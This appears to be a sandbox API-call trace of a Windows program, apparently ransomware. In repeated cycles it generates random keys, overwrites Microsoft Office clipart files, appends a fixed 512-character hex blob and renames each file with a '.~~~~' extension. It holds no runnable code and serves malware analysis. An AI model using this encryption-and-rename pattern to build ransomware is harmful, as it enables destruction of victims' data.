	[0113.928] GetLastError () returned 0x0
	[0113.928] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.929] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.929] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.929] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23391929749) returned 1
	[0113.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad81b170, dwHighDateTime=0x1d60e1e)) 
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839648
	[0113.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839648 | out: hHeap=0x300000) returned 1
	[0113.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836420
	[0113.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.930] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.930] GetLastError () returned 0x0
	[0113.930] GetLastError () returned 0x0
	[0113.930] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.930] GetLastError () returned 0x0
	[0113.930] GetLastError () returned 0x0
	[0113.932] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff8bb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.932] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7450, lpOverlapped=0x0) returned 1
	[0113.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.933] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.933] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.933] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.934] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.934] CloseHandle (hObject=0x148) returned 1
	[0113.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.~~~~")) returned 1
	[0113.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.935] GetLastError () returned 0x0
	[0113.936] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.938] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.938] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23392816756) returned 1
	[0113.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad8412d0, dwHighDateTime=0x1d60e1e)) 
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839680
	[0113.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839680 | out: hHeap=0x300000) returned 1
	[0113.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836718
	[0113.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.939] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.939] GetLastError () returned 0x0
	[0113.939] GetLastError () returned 0x0
	[0113.939] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.939] GetLastError () returned 0x0
	[0113.940] GetLastError () returned 0x0
	[0113.943] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff5cbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.943] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa343, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xa343, lpOverlapped=0x0) returned 1
	[0113.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.944] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.945] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.945] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.945] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.945] CloseHandle (hObject=0x148) returned 1
	[0113.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0113.945] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.~~~~")) returned 1
	[0113.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0113.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.947] GetLastError () returned 0x0
	[0113.947] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.949] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.949] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.949] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23393909911) returned 1
	[0113.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad8412d0, dwHighDateTime=0x1d60e1e)) 
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28396b8
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28396b8 | out: hHeap=0x300000) returned 1
	[0113.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0113.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28367b0
	[0113.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0113.950] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.950] GetLastError () returned 0x0
	[0113.950] GetLastError () returned 0x0
	[0113.950] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.950] GetLastError () returned 0x0
	[0113.950] GetLastError () returned 0x0
	[0113.953] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffff5bbb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.953] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa445, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xa445, lpOverlapped=0x0) returned 1
	[0113.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.954] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.955] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.955] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.955] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.955] CloseHandle (hObject=0x148) returned 1
	[0113.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0113.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.~~~~")) returned 1
	[0113.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0113.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.957] GetLastError () returned 0x0
	[0114.077] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942318) returned 1
	[0114.078] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.078] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.078] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23406850593) returned 1
	[0114.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad997f30, dwHighDateTime=0x1d60e1e)) 
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839878
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839878 | out: hHeap=0x300000) returned 1
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836bd8
	[0114.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.079] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.079] GetLastError () returned 0x0
	[0114.080] GetLastError () returned 0x0
	[0114.080] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.080] GetLastError () returned 0x0
	[0114.080] GetLastError () returned 0x0
	[0114.083] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd45e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.083] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2ba2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x2ba2, lpOverlapped=0x0) returned 1
	[0114.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.086] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.086] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.086] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.086] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.086] CloseHandle (hObject=0x138) returned 1
	[0114.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0114.087] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.~~~~")) returned 1
	[0114.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0114.088] GetLastError () returned 0x0
	[0114.089] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942318) returned 1
	[0114.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.090] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0114.090] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23408013963) returned 1
	[0114.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad997f30, dwHighDateTime=0x1d60e1e)) 
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28398b0
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28398b0 | out: hHeap=0x300000) returned 1
	[0114.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0114.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28368e0
	[0114.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0114.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0114.092] GetLastError () returned 0x0
	[0114.092] GetLastError () returned 0x0
	[0114.092] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0114.092] GetLastError () returned 0x0
	[0114.092] GetLastError () returned 0x0
	[0114.096] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff4ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.096] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xb12, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xb12, lpOverlapped=0x0) returned 1
	[0114.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.097] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.097] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.098] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.098] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.098] CloseHandle (hObject=0x138) returned 1
	[0114.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28368e0
	[0114.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.~~~~")) returned 1
